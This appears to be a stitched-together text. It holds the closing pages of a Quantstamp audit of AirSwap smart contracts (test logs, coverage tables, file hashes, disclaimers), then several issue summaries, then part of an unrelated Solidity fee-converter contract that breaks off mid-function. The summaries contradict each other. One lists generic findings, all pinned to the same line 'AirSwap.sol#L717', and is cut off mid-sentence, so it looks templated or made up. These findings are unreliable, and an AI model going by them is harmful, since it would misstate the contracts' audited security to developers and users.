(42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./TokenPaymentSplitter.sol"; interface IUniswapV2Router02 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /** * @title AirSwap Converter: Convert Fee Tokens * @notice https://www.airswap.io/ */ contract Converter is Ownable, ReentrancyGuard, TokenPaymentSplitter { using SafeERC20 for IERC20; address public wETH; address public swapToToken; address public immutable uniRouter; uint256 public triggerFee; mapping(address => address[]) private tokenPathMapping; event ConvertAndTransfer( address triggerAccount, address swapFromToken, address swapToToken, uint256 amountTokenFrom, uint256 amountTokenTo, address[] recievedAddresses ); event DrainTo(address[] tokens, address dest); constructor( address _wETH, address _swapToToken, address _uniRouter, uint256 _triggerFee, address[] memory _payees, uint256[] memory _shares ) TokenPaymentSplitter(_payees, _shares) { wETH = _wETH; swapToToken = _swapToToken; uniRouter = _uniRouter; setTriggerFee(_triggerFee); } /** * @dev Set a new address for WETH. **/ function setWETH(address _swapWETH) public onlyOwner { require(_swapWETH != address(0), "MUST_BE_VALID_ADDRESS"); wETH = _swapWETH; } /** * @dev Set a new token to swap to (e.g., stabletoken). **/ function setSwapToToken(address _swapToToken) public onlyOwner { require(_swapToToken != address(0), "MUST_BE_VALID_ADDRESS"); swapToToken = _swapToToken; } /** * @dev Set a new fee (perentage 0 - 100) for calling the ConvertAndTransfer function. */ function setTriggerFee(uint256 _triggerFee) public onlyOwner { require(_triggerFee <= 100, "FEE_TOO_HIGH"); triggerFee = _triggerFee; } /** * @dev Set a new Uniswap router path for a token. */ function setTokenPath(address _token, address[] memory _tokenPath) public onlyOwner { uint256 pathLength = _tokenPath.length; for (uint256 i = 0; i < pathLength; i++) { tokenPathMapping[_token].push(_tokenPath[i]); } } /** * @dev Converts an token in the contract to the SwapToToken and transfers to payees. * @param _swapFromToken The token to be swapped from. * @param _amountOutMin The amount to be swapped and distributed. */ function convertAndTransfer(address _swapFromToken, uint256 _amountOutMin) public onlyOwner nonReentrant { // Checks that at least 1 payee is set to recieve converted token. require(_payees.length >= 1, "PAYEES_MUST_BE_SET"); // Checks that _amountOutMin is at least 1 require(_amountOutMin > 0, "INVALID_AMOUNT_OUT"); // Calls the balanceOf function from the to be converted token. uint256 tokenBalance = _balanceOfErc20(_swapFromToken); // Checks that the converted token is currently present in the contract. require(tokenBalance > 0, "NO_BALANCE_TO_CONVERT"); // Read or set the path for AMM. if (_swapFromToken != swapToToken) { address[] memory path; if (tokenPathMapping[_swapFromToken].length > 0) { path = getTokenPath(_swapFromToken); } else { tokenPathMapping[_swapFromToken].push(_swapFromToken); tokenPathMapping[_swapFromToken].push(wETH); if (swapToToken != wETH) { tokenPathMapping[_swapFromToken].push(swapToToken); } path = getTokenPath(_swapFromToken); } // Approve token for AMM usage. _approveErc20(_swapFromToken, tokenBalance); // Calls the swap function from the on-chain AMM to swap token from fee pool into reward token. IUniswapV2Router02(uniRouter) .swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenBalance, _amountOutMin, path, address(this), block.timestamp ); } // Calls the balanceOf function from the reward token to get the new balance post-swap. uint256 totalPayeeAmount = _balanceOfErc20(swapToToken); // Calculates trigger reward amount and transfers to msg.sender. if (triggerFee > 0) { uint256 triggerFeeAmount = (totalPayeeAmount * triggerFee) / 100; _transferErc20(msg.sender, swapToToken, triggerFeeAmount); totalPayeeAmount = totalPayeeAmount - triggerFeeAmount; } // Transfers remaining amount to reward payee address(es). for (uint256 i = 0; i < _payees.length; i++) { uint256 payeeAmount = (totalPayeeAmount * _shares[_payees[i]]) / _totalShares; _transferErc20(_payees[i], swapToToken, payeeAmount); } emit ConvertAndTransfer( msg.sender, _swapFromToken, swapToToken, tokenBalance, totalPayeeAmount, _payees ); } /** * @dev Drains funds from provided list of tokens * @param _transferTo Address of the recipient. * @param _tokens List of tokens to transfer from the contract */ function drainTo(address _transferTo, address[] calldata _tokens) public onlyOwner { for (uint256 i = 0; i < _tokens.length; i++) { uint256 